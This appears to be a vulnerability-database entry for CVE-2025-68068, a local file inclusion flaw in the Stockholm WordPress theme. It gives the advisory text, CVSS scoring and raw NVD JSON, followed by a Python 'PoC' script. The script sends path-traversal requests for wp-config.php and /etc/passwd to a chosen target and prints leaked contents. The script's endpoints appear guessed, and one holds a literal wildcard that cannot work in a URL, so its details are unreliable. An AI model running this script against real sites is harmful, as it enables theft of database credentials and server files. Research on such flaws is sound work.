Security Vulnerability Report
中文
CVE-2025-68068 CVSS 7.5 HIGH

CVE-2025-68068

Published: 2025-12-16 09:16:02
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Select-Themes Stockholm stockholm allows PHP Local File Inclusion.This issue affects Stockholm: from n/a through <= 9.14.1.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Select-Themes Stockholm <= 9.14.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-68068 PoC - Stockholm Theme LFI # Target: Select-Themes Stockholm WordPress Theme <= 9.14.1 def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2025-68068""" # Common vulnerable endpoints in Stockholm theme paths = [ '/wp-content/themes/stockholm/framework/modules/*/templates/file.php', '/wp-content/themes/stockholm/framework/include.php', '/wp-content/themes/stockholm/parts/get-template.php' ] # Sensitive files to read sensitive_files = [ '../../../../../../etc/passwd', '../../../../wp-config.php', '../../../../../../var/www/html/wp-config.php' ] print(f'[*] Testing target: {target_url}') print(f'[*] CVE-2025-68068 - Stockholm Theme LFI') for path in paths: for file in sensitive_files: try: # Construct exploit URL exploit_url = target_url + path + '?file=' + file response = requests.get(exploit_url, timeout=10) # Check if file content is leaked if 'root:' in response.text or 'DB_NAME' in response.text: print(f'[+] VULNERABLE! Found: {file}') print(f'[+] URL: {exploit_url}') print(f'[+] Response preview: {response.text[:200]}...') return True except requests.RequestException as e: print(f'[-] Error testing {path}: {e}') print('[-] Target does not appear to be vulnerable') return False if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-68068.py <target_url>') print('Example: python cve-2025-68068.py http://example.com') sys.exit(1) target = sys.argv[1].rstrip('/') check_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68068", "sourceIdentifier": "[email protected]", "published": "2025-12-16T09:16:02.143", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Select-Themes Stockholm stockholm allows PHP Local File Inclusion.This issue affects Stockholm: from n/a through <= 9.14.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/stockholm/vulnerability/wordpress-stockholm-theme-9-14-1-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}